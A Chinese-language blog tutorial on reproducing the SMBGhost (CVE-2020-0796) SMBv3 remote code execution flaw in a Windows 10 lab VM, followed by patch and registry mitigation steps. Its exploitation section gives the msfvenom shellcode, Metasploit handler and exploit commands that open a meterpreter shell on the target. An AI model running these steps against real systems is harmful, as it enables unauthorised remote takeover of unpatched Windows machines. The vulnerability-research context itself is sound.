CVE-2020-0796 漏洞复现(rce)含exp教程
CVE-2020-0796 漏洞复现(rce)含exp教程
0X00漏洞简介
Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品,Microsoft Windows是一套个人设备使用的操作系统,Microsoft Windows Server是一套服务器操作系统,Server Message Block是其中的一个服务器信息传输协议。
微软公布了在Server Message Block 3.0(SMBv3)中发现的“蠕虫型”预授权远程代码执行漏洞。
0X01漏洞概述
(CVE-2020-0796 SMBGhost)该漏洞是由于SMBv3协议在处理恶意的压缩数据包时出错所造成的,它可让远程且未经身份验证的攻击者在目标系统上执行任意代码。
0X02影响版本
适用于32位系统的Windows 10版本1903
Windows 10 1903版(用于基于x64的系统)
Windows 10 1903版(用于基于ARM64的系统)
Windows Server 1903版(服务器核心安装)
适用于32位系统的Windows 10版本1909
Windows 10版本1909(用于基于x64的系统)
Windows 10 1909版(用于基于ARM64的系统)
Windows Server版本1909(服务器核心安装)
0X03环境搭建
可在虚拟机中搭建win10系统来进行复现。如有需要可留言获取iso文件。
0X04漏洞检测
漏洞检测脚本有很多这里简单分享俩个。
gitHub检测工具:https://github.com/ollypwn/SMBGhost
某信cert检测工具私聊可获取。
某检测工具演示:
p地址为win10地址,本地测试是需关闭win10防火墙成可ping通状态。
0X05漏洞复现
最近刚刚爆出了rce 的exp所以赶紧复现一手。
Exp地址:https://github.com/chompie1337/SMBGhost_RCE_PoC
该exp使用环境为python3
下载完成后将该exp放到kaili虚拟机中
启动msf
使用msf生成shellcode
msfvenom -p windows/x64/meterpreter/bind_tcp lport=3333 -f py -o shellcode.txt
执行该命令后会在桌面生成一个shellcode.txt
将生成的shellcode替换exp中的exploit.py中的USER_PAYLOAD保存即可。
使用kaili中的msf开启监听
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp #设置反弹模式
msf5 exploit(multi/handler) > set rhost 192.168.31.137 #设置目标靶机IP地址
msf5 exploit(multi/handler) > set lport 3333 #设置监听端口
msf5 exploit(multi/handler) > exploit
在kail中进入exp文件夹,执行exp文件
python3 exploit.py ip 192.168.31.137
即可看到msf中收到了回显成功连接。
如复现没有成功可能的原因有:
1.msf监听端口被占用
2.windows10设置自动更新已自动打补丁
3.shellcode未替换正确
4.exp端口和msf监听端口不一致
0X06漏洞修复
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-0796
或者你可以使用以下PowerShell命令禁用SMBv3服务的压缩(无需重新启动):
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 –Force
此外你还可以通过禁止SMB的流量流向外网来防御攻击。